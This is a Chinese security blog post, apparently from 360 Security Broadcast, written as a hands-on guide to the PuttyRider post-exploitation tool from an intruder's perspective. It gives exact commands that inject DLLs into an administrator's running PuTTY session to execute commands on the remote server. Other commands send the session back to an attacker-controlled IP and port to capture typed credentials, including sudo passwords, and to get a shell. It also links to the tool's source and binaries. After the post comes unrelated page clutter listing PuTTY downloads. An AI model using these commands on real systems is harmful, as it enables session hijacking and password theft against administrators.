近日,我们的360监控平台,检测到一个叫PuttyRider渗透工具,小编立马下回来研究,整理一篇工具的使用心得分享给大家。
我们在入侵到一台主机的时候,经常会看到管理员的桌面会放着putty.exe,这说明有很大的可能性管理员是使用putty远程管理主机的。该工具主要是针对SSH客户端putty的利用,采用DLL注入的方式,来实现各种猥琐的利用姿势。我依次演示该工具的三种利用场景
1.当你远程控制对方主机的时候,管理员正好用putty连接着远程主机
这种情景,我们只要直接注入命令到当前的putty进程,就可以利用,非常简单,缺点是没有回显。
使用puttyRider.exe –l 查看当前进程中putty正在连接的远程主机信息,这里不光能得到远程主机的IP地址和putty进程号,还能在Injected列看到当前是NO,说明我们还没有进程注入。
我们使用puttyrider.exe –p 0 –f –c ifconfig,就把ifconfig命令注入到当前的putty会话了,就达到远程命令执行的目的了。再次puttyRider.exe –l 看一下,发现injected列是yes了,说明我们注入进程成功了。
2.使用反弹的方式实时看管理员的输入
除了利用第一种方法直接注入命令,我们还可以反弹出来,实时看到对方管理员在putty里的输入,即使管理输入sudo这种命令,我们也能够看到他输入的明文密码。但是这种利用的前提是,对方管理员正在用PUTTY连接的主机可以反弹到你监听的IP地址,防火墙限制的不是很严。
Puttyrider.exe –p 0 –r 我监听的IP:端口
执行后,我们就可以看到结果了
3.我运气不这么好,对方管理员当前没有正在使用PUTTY管理远程主机
这种情况应该最常见了,软件作者也考虑到了,给我们提供了-w参数,他会让puttyrider后台监视新起来的进程,然后反弹到我们的主机,也能实时的看到对方的操作哦,包括输入的账号
Puttyrider.exe –w –r 我监听的IP:端口号
当执行完这个命令后,只要管理员下次再次开启PUTTY的时候,我们就能在监听的9999端口看到她的SHELL了
最后如果想研究工具细节的童鞋,可以在
https://codeload.github.com/seastorm/PuttyRider/zip/master下载源码,深入学习 :)
编译好的二进制文件可以在
https://github.com/seastorm/PuttyRider/releases/download/0.1/PuttyRider-bin.zip下载
本文由 360安全播报 原创发布,如需转载请注明来源及本文地址。
相关推荐
PUTTY 串口工具 ssh工具 telnet工具等,win下ssh调试linux的控制台
Linux远程连接工具——Putty.一款优秀的远程连接Linux工具。
使用Putty管理Linux系统——无密码登录.pdf
使用Putty管理Linux系统——显示图形界面.pdf
windows专用ssh——putty,可远程连接服务器,可执行文件,下载就可以使用
【TTL工具】putty跑码中文版-使用教程.docx
PIETTY比putty好用的工具PIETTY比putty好用的工具PIETTY比putty好用的工具PIETTY比putty好用的工具PIETTY比putty好用的工具
Putty是一个免费的、Windows 32平台下的telnet、rlogin和ssh客户端,但是功能丝毫不逊色于商业的telnet类工具。
Putty是一个免费的、Windows 32平台下的telnet、rlogin和ssh客户端,在各种远程登录工具中,Putty是出色的工具之一,Putty具有完全免费、小巧绿色、无需安装、操作简单等特点。其功能丝毫不逊色于商业的telnet类工具...
用于linux系统登录命令行操作用,很方便简洁。
工具putty的使用.doc 工具putty的使用.doc 工具putty的使用.doc 工具putty的使用.doc
远程通讯工具,加密连接,常用来连接远程主机 我的虚拟机就用这个
Putty是一个免费的Windows平台下的telnet、rlogin和ssh客户端,Putty的功能丝毫不逊色于商业的telnet类工具。PuTTY作为一款开放源代码的软件,主要由Simon Tatham维护,使用MIT licence授权。随着Linux系统在服务器...
PuTTY 远程连接工具PuTTY 远程连接工具PuTTY 远程连接工具PuTTY 远程连接工具PuTTY 远程连接工具PuTTY 远程连接工具PuTTY 远程连接工具
putty串口调试工具,可在windows上操作4412等开发板。
putty工具打包合集
PuTTY为一开放源代码软件,主要由Simon Tatham维护,使用MIT licence授权。随着Linux在服务器端应用的普及,Linux系统管理越来越依赖于远程。在各种远程登录工具中,Putty是出色的工具之一。Putty是一个免费的、...
在各种远程登录工具中,Putty是出色的工具之一
我在putty官网下载的哈,分享下。包括putty,psftp,pscp,puttytel,plink,pageant,puttygen。
putty,远程登录工具,TELNET,欢迎使用